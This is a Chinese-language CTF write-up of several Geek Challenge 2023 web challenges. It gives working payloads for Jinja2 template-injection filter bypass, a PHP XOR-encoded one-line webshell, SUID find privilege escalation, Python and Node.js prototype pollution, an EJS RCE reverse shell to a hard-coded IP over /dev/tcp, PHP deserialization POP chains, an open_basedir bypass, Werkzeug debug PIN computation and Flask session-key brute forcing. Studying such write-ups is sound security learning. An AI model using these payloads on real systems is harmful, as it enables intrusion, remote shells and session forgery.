前言

记录一些在Geek Challenge 2023比赛中的wp;一部分写的比较详细,一部分写的比较简单,根据题目的难易度来的;

klf_2

源码

再比赛中是看不到源码的,是我后来可以rce后,cat app.py得到源码的,为了方便写wp,就贴一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from flask import Flask, request, render_template, render_template_string,send_from_directory
import re import os

app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
return render_template('index.html')

@app.route('/secr3ttt', methods=['GET', 'POST'])
def secr3t():
klf = request.args.get('klf', '')
template = f''' <html> <body>
<h1>别找了,这次你肯定是klf</h1>
</body> <img src="https://image-obsidian-1317327960.cos.ap-chengdu.myqcloud.com/obisidian- blog/0071088CAC91D2C42C4D31053A7E8D2B731D69.jpg" alt="g">
<h1>%s</h1> </html> <!--klf?--> <!-- 别想要flag?klf --> '''
bl = ['_', '\\', '\'', '"', 'request', "+", 'class', 'init', 'arg', 'config', 'app', 'self', 'cd', 'chr', 'request', 'url', 'builtins', 'globals', 'base', 'pop', 'import', 'popen', 'getitem', 'subclasses', '/', 'flashed', 'os', 'open', 'read', 'count', '*', '38', '124', '47', '59', '99', '100', 'cat', '~', ':', 'not', '0', '-', 'ord', '37', '94', '96', '[',']','index','length']
#'43', '45',
for i in bl:
if i in klf:
return render_template('klf.html')

a = render_template_string(template % klf)
if "{" in a: return a + render_template('win.html')
return a @app.route('/robots.txt', methods=['GET'])

def robots():
return send_from_directory(os.path.join(app.root_path, 'static'), 'robots.txt', mimetype='text/plain')

if __name__ == '__main__': app.run(host='0.0.0.0', port=7889, debug=False

黑名单过滤了一大部分关键字和关键符号。但是没有.join过滤器,dict= ()set,|,attr.还是有机可乘的

构造关键字

这一部分就是构造出关键字

1
().__class__.__base__.__subclasses__().__getitem__(xx).__init__.__globals__['popen'](xx).read()
1
2
3
4
5
6
7
8
9
10
{% set po=dict(po=a,p=b)|join%} 
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}
{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}
{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}
{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}
{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}
{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}
{%set pp=dict(po=a,pen=b)|join %}
{% set re=dict(re=a,ad=b)|join%}

构造cmd

再上一步的基础上,构造ls

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
{% set po=dict(po=a,p=b)|join%} 
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}
{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}
{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}
{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}
{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}
{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}
{%set pp=dict(po=a,pen=b)|join %}
{% set re=dict(re=a,ad=b)|join%}

{% set ls=dict(l=a,s=b)|join%}
{%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(pp)(ls)|attr(re)())%}

#app.py hahahaha requirements.txt static templates

看到flag没有再当前目录下,尝试构造 ls /,这时候就需要在上一步的基础上,需要构造空格和反斜杠字符 ,/,

构造空格

空格很容易构造,在()|select|string|list)就有许多空格,,这里大概解释一下**()|select|string|list)**这种形式是什么意思,管道符,前一个输出当作后一个输入,就像list(string(select(())))

构造反斜杠

思路一

()|select|string|list)中没有反斜杠,那么就想一下:还有其他关键字可以以这种形式构造字符吗?,而其他关键字构造的字符下可能有我们需要的反斜杠,答案是肯定的

还有很多

  1. config|string|list
  2. request|string|list
  3. lipsum|string|list
  4. ……

比如config和request下就有反斜杠,但是被黑名单了,我这里暂时还没有找到其他不太黑名单下有可以构造反斜杠的,只能换思路了

思路二

利用格式字符串得到反斜杠,

1
2
3
4
{%set fxg=("%c"%(47))%}
{%print(fxg)%}

#/

要利用格式字符串需要用到百分号,那么需要构造百分号:将字符url编码取第一个字符,第一个字符肯定是%,

1
{% set bfh = ()|select|string|urlencode|first %} 

而然并没有我想的那么简单,url居然被过滤了,这种思路又无法用了

思路三

回顾一下,

  1. 我们是想要得到反斜杠;

  2. 我们已经可以在当前目录下执行命令了,上面展示的就有ls

突然想起来当前目录有app.py文件,用的是flask框架,肯定会有路由,有路由肯定会用到反斜杠;现在思路比较简单了:从app.py文件中得到反斜杠;

列如下段flask代码中肯定会存在反斜杠:

1
2
3
@app.route('/', methods=['GET', 'POST']) 
def index():
return render_template('index.html')

需要cat app.py,字母和空格都有了,现在构造.又成了一个难点,但还是有方法的

1
2
3
4
5
6
7
8
{%print(g)%}

#<flask.g of 'app'>

{% set po=dict(po=a,p=b)|join%}
{% set dian=(g|string|list)|attr(po)(6)%}
{%print(dian)%}
#.

ok,这样所需要的字符都构造出来了,剩下的就是利用了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
{% set po=dict(po=a,p=b)|join%} 
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(in=a,it=b)|join,a,a)|join()%}
{% set glo=(a,a,dict(glo=a,bals=b)|join,a,a)|join()%}
{% set cls=(a,a,dict(cla=a,ss=b)|join,a,a)|join()%}
{% set bs=(a,a,dict(bas=a,e=b)|join,a,a)|join()%}
{% set geti=(a,a,dict(get=a)|join,dict(item=a)|join,a,a)|join()%}
{% set subc=(a,a,dict(subcla=a,sses=b)|join,a,a)|join()%}
{%set pp=dict(po=a,pen=b)|join %}
{% set re=dict(re=a,ad=b)|join%}

{% set kon=(()|select|string|list)|attr(po)(17)%}
{% set dian=(g|string|list)|attr(po)(6)%}


{% set qian=dict(p=a)|join%}
{% set hou=dict(p=a,y=b)|join%}
{% set ming=(kon,kon,dict(ap=a,p=b)|join,dian,hou)|join()%}
{% set cmd=(dict(ca=a,t=b)|join,ming)|join()%}

{% set a=()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(pp)(cmd)|attr(re)()%}
{% set bb=(a|string|list)|attr(po)(246)%}

{% set ho=(dict(ap=a,p=b))|join%}
{% set fl=(dict(fl4gfl4g=a,fl4g=b))|join%}
{% set cmd=(dict(ca=a,t=b)|join,kon,bb,ho,bb,fl)|join%}
{%print(()|attr(cls)|attr(bs)|attr(subc)()|attr(geti)(117)|attr(ini)|attr(glo)|attr(geti)(pp)(cmd)|attr(re)())%}

EzRce

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include('waf.php');
session_start();
show_source(__FILE__);
error_reporting(0);
$data=$_GET['data'];
if(waf($data)){
eval($data);
}else{
echo "no!";
}
?>

先用bp fuzz一下,看看过滤了什么,发现异或符号没有过滤,而且有几个字母没有过滤

下面是上了木马才得到源码的

1
2
3
4
5
6
7
8
9
10
<?php

function waf($data){
if(preg_match('/[b-df-km-uw-z0-9\+\~\{\}]+/i',$data)){
return False;
}else{
return True;
}
}

异或上🐎

因为没有过滤异或所以构造phpinfo(); : (“^@^@@[@”^”.(.).=/“)();

发现是可以成功显示phpinfo内容,但是查看disable_functions禁用了一些函数,但是没有禁用file_put_contents函数,尝试写一句话木马上去

1
2
3
file_put_content("lll.php","<?php eval($_POST[1])?>")

("AAAAaL*VaAAAVAAVL"^"'(-$><_\">\"./\"$/\"?")("lll".".".("LAL"^"<)<"),("aaLALaaAVAAvaalalvelaleaa"^"]^<)<A!$ -^E><.?\">]<E^^_"));

发现也是成功上传了木马,用蚁剑连shell(这里有一个坑,https没有成功,用http代替就可以了)

提权

可以看到flag就在根目录下,但是没有权限读取,whoami 查看当前用户www-data,去网上搜一次关于提权的知识,

提权的方法有很多,这道题考的是find提权,

1
2
3
4
5
6
7
8
9
which find 
#/usr/bin/find

ls /usr/bin/find -l
#-rwsr-xr-x. 1 root root 315904 Feb 16 2019 /usr/bin/find
#这里发现有s权限 s:suodsetuid:该位是让普通用户可以以root用户的角色运行只有root帐号才能运行的程序或命令

find /etc/passwd -exec cat /flag \;
#find 一个必须存在的文件 -exec 有执行的命令 \;

到这里flag就已经到手了,踩了很多坑,还有一些坑没有写上了,也是拿了一个三血,下面是异或的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
valid = "alevALEV!@$%^*()[];\'\",.<>/?-=_` "

answer = str(input("请输入进行异或构造的字符串:"))
# answer = "//\/\/"
tmp1, tmp2 = '', ''
for c in answer:
for i in valid:
for j in valid:
if (ord(i) ^ ord(j) == ord(c)):
tmp1 += i
tmp2 += j
break
else:
continue
break

ezpython

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
import json
import os

from waf import waf
import importlib
from flask import Flask,render_template,request,redirect,url_for,session,render_template_string

app = Flask(__name__)
app.secret_key='jjjjggggggreekchallenge202333333'
class User():
def __init__(self):
self.username=""
self.password=""
self.isvip=False


class hhh(User):
def __init__(self):
self.username=""
self.password=""

registered_users=[]
@app.route('/')
def hello_world(): # put application's code here
return render_template("welcome.html")

@app.route('/play')
def play():
username=session.get('username')
if username:
return render_template('index.html',name=username)
else:
return redirect(url_for('login'))

@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
username=request.form.get('username')
password=request.form.get('password')
user = next((user for user in registered_users if user.username == username and user.password == password), None)
if user:
session['username'] = user.username
session['password']=user.password
return redirect(url_for('play'))
else:
return "Invalid login"
return redirect(url_for('play'))
return render_template("login.html")

@app.route('/register',methods=['GET','POST'])
def register():
if request.method == 'POST':
try:
if waf(request.data):
return "fuck payload!Hacker!!!"
data=json.loads(request.data)
if "username" not in data or "password" not in data:
return "连用户名密码都没有你注册啥呢"
user=hhh()
merge(data,user)
registered_users.append(user)
except Exception as e:
return "泰酷辣,没有注册成功捏"
return redirect(url_for('login'))
else:
return render_template("register.html")

@app.route('/flag',methods=['GET'])
def flag():
user = next((user for user in registered_users if user.username ==session['username'] and user.password == session['password']), None)
if user:
if user.isvip:
data=request.args.get('num')
if data:
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:
flag = os.environ.get('geek_flag')
return render_template('flag.html',flag=flag)
else:
return "你的数字不对哦!"
else:
return "I need a num!!!"
else:
return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>')
else:
return "先登录去"

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)



if __name__ == '__main__':
app.run(host="0.0.0.0",port="8888")

考察原型链污染和python的int函数漏洞,其实int不止在python里有这个漏洞,其他语言也有,比如php也有;

标志着原型链污染

1
2
3
4
5
6
7
8
9
10
11
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

虽然代码一共有100多行,但是整个代码的逻辑和实现的功能是非常简单易懂的

使得hhh类的isvip为真,但是hhh没有isvip属性,很明显就是需要污染hhh类,

example

先看一个python原型链污染的简单案例吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
class father:
secret = "haha"

class son_a(father):
pass

class son_b(father):
pass

def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)

instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "no way"
}
}
}

print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
#no way

pollute

然后下面是我自己本地测试的结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
import json

class User():
def __init__(self):
self.username="aa"
self.password="bb"
self.isvip=0


class hhh(User):
def __init__(self):
self.username="cc"
self.password="dd"

def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)


user = hhh()
#
payload = '''
{
"username": "test",
"password": "test002",
"\u0069\u0073\u0076\u0069\u0070" : "111"
}
'''

payload = json.loads(payload)
print(payload)


print(user.username)
print(user.password)

merge(payload, user)

print(user.username)
print(user.password)
print(user.isvip)

这里用unicode编码绕过waf,json.load会自动进行unicode解码,

绕后就是绕过

1
if '0' not in data and data != "123456789" and int(data) == 123456789 and len(data) <=10:

这里比较简单了用空格或者字符“+”或者0,这里将0禁止了用前面两者就行,

1
2
3
?=%20123456789
或者
?=+123456789

根据hint secret_key是出题人的id:VanZY(我当时没看hint,用脚本也可以爆破出来),然后伪造jwt,得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();
const bodyParser = require('body-parser')
const path = require('path');
const jwt_secret = "VanZY";
const cookieParser = require('cookie-parser');
const putil_merge = require("putil-merge")
app.set('views', './views');
app.set('view engine', 'ejs');
app.use(cookieParser());
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())

var Super = {};

var safecode = function (code){
let validInput = /global|mainModule|import|constructor|read|write|_load|exec|spawnSync|stdout|eval|stdout|Function|setInterval|setTimeout|var|\+|\*/ig;
return !validInput.test(code);
};

app.all('/code', (req, res) => {
res.type('html');
if (req.method == "POST" && req.body) {
putil_merge({}, req.body, {deep:true});
}
res.send("welcome to code");
});

app.all('/hint', (req, res) => {
res.type('html');
res.send("I heard that the challenge maker likes to use his own id as secret_key");
});

app.get('/source', (req, res) => {
res.type('html');
var auth = req.cookies.auth;
jwt.verify(auth, jwt_secret , function(err, decoded) {
try{
if(decoded.user==='admin'){
res.sendFile(path.join(__dirname + '/index.js'));
}else{
res.send('you are not admin <!--Maybe you can view /hint-->');
}
}
catch{
res.send("Fuck you Hacker!!!")
}
});
});

app.all('/create', (req, res) => {
res.type('html');
if (!req.body.name || req.body.name === undefined || req.body.name === null){
res.send("please input name");
}else {
if (Super['userrole'] === 'Superadmin') {
res.render('index', req.body);
}else {
if (!safecode(req.body.name)) {
res.send("你在做什么?快停下!!!")
}
else{
res.render('index', {name: req.body.name});
}
}
}
});

app.get('/',(req, res) => {
res.type('html');
var token = jwt.sign({'user':'guest'},jwt_secret,{ algorithm: 'HS256' });
res.cookie('auth ',token);
res.end('Only admin can get source in /source');

});

app.listen(3000, () => console.log('Server started on port 3000'));

代码比较简单,一看就是需要某种权限才能执行某些命令,nodejs原型链污染的老套路了

1
2
if (Super['userrole'] === 'Superadmin') {
res.render('index', req.body);

在这里,需要Super[‘userrole’]的值为Superadmin,但是整个代码也没有涉及到可以让Super[‘userrole’]的值为Superadmin的地方,但是凭空多出来一个code路由,putil_merge函数和merge函数,基本可以确定这里有问题了

1
2
3
4
5
6
7
app.all('/code', (req, res) => {
res.type('html');
if (req.method == "POST" && req.body) {
putil_merge({}, req.body, {deep:true});
}
res.send("welcome to code");
});

上网搜索putil_merge函数,发现确实存在原型链污染

1
2
3
4
5
6
const putil_merge = require('putil-merge');
const payload = JSON.parse('{"constructor": {"prototype": {"polluted": "yes"}}}');
let obj = {};
console.log("Before:" + {}.polluted)
putil_merge(obj, payload, { deep: true });
console.log("After:" + {}.polluted)

改成

要改成application/json

1
GET :/code
1
POST:{"constructor": {"prototype": {"userrole": "Superadmin"}}}

将Super[‘userrole’]的值改为Superadmin,就有权限执行:

1
res.render('index', req.body);

这里是一个cve,可以参考这位大佬

影响版本:ejs <= v3.1.9 (最新版本

1
2
3
4
5
6
7
8
9
{
"name":"abc",
"settings":{
"view options":{
"escapeFunction":"console.log;this.global.process.mainModule.require('child_process').execSync(\"bash -c 'bash -i >& /dev/tcp/81.71.13.76/5050 0>&1'\");",
"client":"true"
}
}
}

ez_remove

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
highlight_file(__FILE__);
class syc{
public $lover;
public function __destruct()

{ echo $this->lover;
echo "daozhel";

eval($this->lover);
}
}

if(isset($_GET['web'])){
if(!preg_match('/lover/i',$_GET['web'])){
$a=unserialize($_GET['web']);
throw new Error("快来玩快来玩~");
}
else{
echo("nonono");
}
}
?>

利用十六进制要绕过正则匹配

1
lover ==> \6cover

利用gc回收绕过异常

1
O:3:"syc":1  ==> O:3:"syc":2

写入一句话木马,这里需要注意的是要将小写s转变大写S ,才能解析十六进制

1
?web=O:3:"syc":2:{S:5:"\6cover";s:53:"file_put_contents('2.php','<?php @eval($_POST[1]);');";}

写入木马 ,发现无法正常执行shell命令,读取phpinfo查看disable_functions

发现禁用了函数system,exec,shell_exec,fopen,pcmtl_exe,passthru,popen

还有open_basedir: /var/www/html/

绕过open_basedir: ini_set用来设置php.ini的值,无需打开php.ini文件,就能修改配置

1
mkdir('test');chdir('test');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');show_source("f1ger");

ez_path(os.path.join)

pyc在线反汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# uncompyle6 version 3.8.0
# Python bytecode 3.6 (3379)
# Decompiled from: Python 3.7.0 (default, Nov 25 2022, 11:07:23)
# [GCC 4.8.5 20150623 (Red Hat 4.8.5-44)]
# Embedded file name: ./tempdata/96e9aea5-79fb-4a2f-a6b9-d4f3bbf3c906.py
# Compiled at: 2023-08-26 01:33:29
# Size of source mod 2**32: 2076 bytes
import os, uuid
from flask import Flask, render_template, request, redirect
app = Flask(__name__)
ARTICLES_FOLDER = 'articles/'
articles = []

class Article:

def __init__(self, article_id, title, content):
self.article_id = article_id
self.title = title
self.content = content


def generate_article_id():
return str(uuid.uuid4())


@app.route('/')
def index():
return render_template('index.html', articles=articles)


@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'POST':
title = request.form['title']
content = request.form['content']
article_id = generate_article_id()
article = Article(article_id, title, content)
articles.append(article)
save_article(article_id, title, content)
return redirect('/')
else:
return render_template('upload.html')


@app.route('/article/<article_id>')
def article(article_id):
for article in articles:
if article.article_id == article_id:
title = article.title
sanitized_title = sanitize_filename(title)
article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)
with open(article_path, 'r') as (file):
content = file.read()
return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)

return render_template('error.html')


def save_article(article_id, title, content):
sanitized_title = sanitize_filename(title)
article_path = ARTICLES_FOLDER + '/' + sanitized_title
with open(article_path, 'w') as (file):
file.write(content)


def sanitize_filename(filename):
sensitive_chars = [
':', '*', '?', '"', '<', '>', '|', '.']
for char in sensitive_chars:
filename = filename.replace(char, '_')

return filename


if __name__ == '__main__':
app.run(debug=True)
# okay decompiling /tmp/65448aefd10b0.pyc

代码比较简单,就一个写和看的功能

漏洞点在:os.path.join函数没有对路径做很好的处理,将最后一个反斜杠看作路径的开头,所以可以任意文件泄露

然后发现debug=True,那思路就很明显了,通过os.path.join函数泄露文件计算pin码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# sha1
import hashlib
from itertools import chain

probably_public_bits = [
'root' # /etc/passwd
'flask.app', # 默认值
'Flask', # 默认值
'/usr/local/lib/python3.9/site-packages/flask/app.py' # 报错得到
]

private_bits = [
'37782193255385', # /sys/class/net/eth0/address 16进制转10进制
'31e70710-1d09-4cda-bc57-a7a012a89ef7docker-8037c9ea09717214042823e30fbac73b8ffa9c2671fad321c717e11489690a6b.scope'
# /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

you konw flask?

robots.txt泄露了3ysd8.html

访问3ysd8.html得到:

1
<!-- key是  app.secret_key = 'wanbao'+base64.b64encode(str(random.randint(1, 100)).encode('utf-8')).decode('utf-8')+'wanbao' (www,我可爱的菀宝,我存的够安全的吧) -->
1
2
3
4
5
6
7
import base64
with open("dict.txt", "w") as fp:
for i in range(1, 100):
original_string =str(i)
byte_data = original_string.encode('utf-8')
encoded_data = base64.b64encode(byte_data).decode('utf-8')
fp.write('"wanbao'+encoded_data + 'wanbao"\n')
1
2
3
4
5
PS D:\Project> flask-unsign --unsign --cookie "eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiJ0ZXN0IiwidXNlcl9pZCI6Mn0.ZUoT_Q.rZAY3c8K33S38x_AydOHdOh4ozQ" --wordlist ./test/ctf_web/dict.txt
[*] Session decodes to: {'is_admin': False, 'name': 'test', 'user_id': 2}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 99 attempts
'wanbaoMzU=wanbao'
1
2
python3 flask_session_cookie_manager3.py encode -s "wanbaoMzU=wanbao" -t "{'is_admin': True, 'name': 'admin', 'user_id': 1}" 
#eyJpc19hZG1pbiI6dHJ1ZSwibmFtZSI6ImFkbWluIiwidXNlcl9pZCI6MX0.ZUoU3g.xvaYWmDWnhze2kXQpN0BTWOBuqY

Pupyy_rce(无参RCE)

1
print_r(scandir(current(localeconv())));

flag.php文件在中间,不能像平常一样

通过unlink使得flag.php是倒数第二个文件在读取就ok了

1
2
3
4
unlink(end(scandir(current(localeconv()))));
unlink(end(scandir(current(localeconv()))));
unlink(next(array_reverse(scandir(current(localeconv())))));
show_source(next(array_reverse(scandir(current(localeconv())))));

补充:

有几率可以查看根目录,strrev(crypt(serialize(array())))所获得的字符串第一位有几率是/

1
print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

参考

ez_php

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source(__FILE__);
include('key.php');
include('waf.php');

class Me {
public $qwe;
public $bro;
public $secret;

public function __wakeup() {
echo("进来啦<br>");
$characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
$randomString = substr(str_shuffle($characters), 0, 6);
$this->secret=$randomString;

if($this->bro===$this->secret){
$bb = $this->qwe;
return $bb();
}

else{
echo("错了哥们,再试试吧<br>");
}
}

}

class her{
private $hername;
private $key;
public $asd;
public function __invoke() {
echo("好累,好想睡一觉啊<br>");
serialize($this->asd);
}

public function find() {
echo("你能找到加密用的key和她的名字吗?qwq<br>");
if (encode($this->hername,$this->key) === 'vxvx') {
echo("解密成功!<br>");
$file=$_GET['file'];

if (isset($file) && (file_get_contents($file,'r') === "loveyou"))
{
echo("快点的,急急急!!!<br>");
echo new $_POST['ctf']($_GET['fun']);
}
else{
echo("真的只差一步了!<br>");
}
}
else{
echo("兄弟怎么搞的?<br>");
}
}
}

class important{
public $power;

public function __sleep() {
echo("睡饱了,接着找!<br>");
return $this->power->seeyou;
}
}

class useless {
private $seeyou;
public $QW;
public $YXX;

public function __construct($seeyou) {
$this->seeyou = $seeyou;
}

public function __destruct() {
$characters = '0123456789';
$random = substr(str_shuffle($characters), 0, 6);

if (!preg_match('/key\.php\/*$/i', $_SERVER['REQUEST_URI'])){
if((strlen($this->QW))<80 && strlen($this->YXX)<80){
$bool=!is_array($this->QW)&&!is_array($this->YXX)&&(md5($this->QW) === md5($this->YXX)) && ($this->QW != $this->YXX) and $random==='newbee';
if($bool){
echo("快拿到我的小秘密了<br>");
$a = isset($_GET['a'])? $_GET['a']: "" ;

if(!preg_match('/HTTP/i', $a)){
echo (basename($_SERVER[$a]));
echo ('<br>');

if(basename($_SERVER[$a])==='key.php'){
echo("找到了!但好像不能直接使用,怎么办,我好想她<br>");
$file = "key.php";
readfile($file);
}
}
else{
echo("你别这样,她会生气的┭┮﹏┭┮");
}
}
}
else{
echo("就这点能耐?怎么帮我找到她(╥╯^╰╥)<br>");
}
}
}
public function __get($good) {
echo "you are good,你快找到我爱的那个她了<br>";
$zhui = $this->$good;
$zhui[$good]();
}
}

if (isset($_GET['user'])) {
$user = $_GET['user'];
if (!preg_match("/^[Oa]:[\d]+/i", $user)) {
unserialize($user);
}
else {
echo("不是吧,第一层都绕不过去???<br>");
}
}
else {
echo("快帮我找找她!<br>");
}
?>

虽然代码看起来比较长,但是还是比较好分析的,pop链也很容易看出来。需要用到两次pop链,第一条用来得到key.php的内容,第二次才是得到flag

1
2
3
unserialize -> useless(__destruct) -> useless(readfile)

unserialize -> Me(__wakeup) ->her(__invoke) ->important(__sleep) ->useless(__get) ->her(find)

/^[Oa]:[\d]+/i

第一次遇到这种情况,单独拿出来讲一下:

挺早之前我就知道使用C代替O能绕过wakeup,但那样的话只能执行construct()函数或者destruct()函数,无法添加任何内容,这次比赛学到了种新方法,就是把正常的反序列化进行一次打包,让最后生成的payload以C开头即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfshow{

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
system($this->ctfshow);
}

}

$data = $_GET['1+1>2'];

if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>

不能直接将字母O改成字母C,这里我们可以使用ArrayObject对正常的反序列化进行一次包装,让最后输出的payload以C开头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

class ctfshow {
public $ctfshow;

public function __wakeup(){
die("not allowed!");
}

public function __destruct(){
echo "OK";
system($this->ctfshow);
}


}
$a=new ctfshow;
$a->ctfshow="whoami";
$arr=array("evil"=>$a);
$oa=new ArrayObject($arr);
$res=serialize($oa);
echo $res;
//unserialize($res)
?>
#C:11:"ArrayObject":77:{x:i:0;a:1:{s:4:"evil";O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}};m:a:0:{}}

7.3.4才可以输出以C开头的payload,换7.4或者8.0输出的就是O开头了,除了这个函数还有其他方法可以对payload进行包装

实现了unserialize接口的大概率是C打头,经过所有测试发现可以用的类为:

  • ArrayObject::unserialize
  • ArrayIterator::unserialize
  • RecursiveArrayIterator::unserialize
  • SplObjectStorage::unserialize

参考

pop_one

str_shuffle:随机地打乱字符串中的所有字符

用原生类绕过md5,and的优先级要低于=,basename用ascii编码大于127绕过,$_SERVER是一个数组,可以自己打印看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class useless
{
public $QW;
public $YXX;
}
$cmd="1";
$a = new Exception($cmd);$b = new Exception($cmd,1);
$tr = new useless();
$tr->QW=$a;
$tr->YXX=$b;
$arr=array("evil"=>$tr);
$oa=new ArrayObject($arr);
echo urlencode(serialize(($oa)));

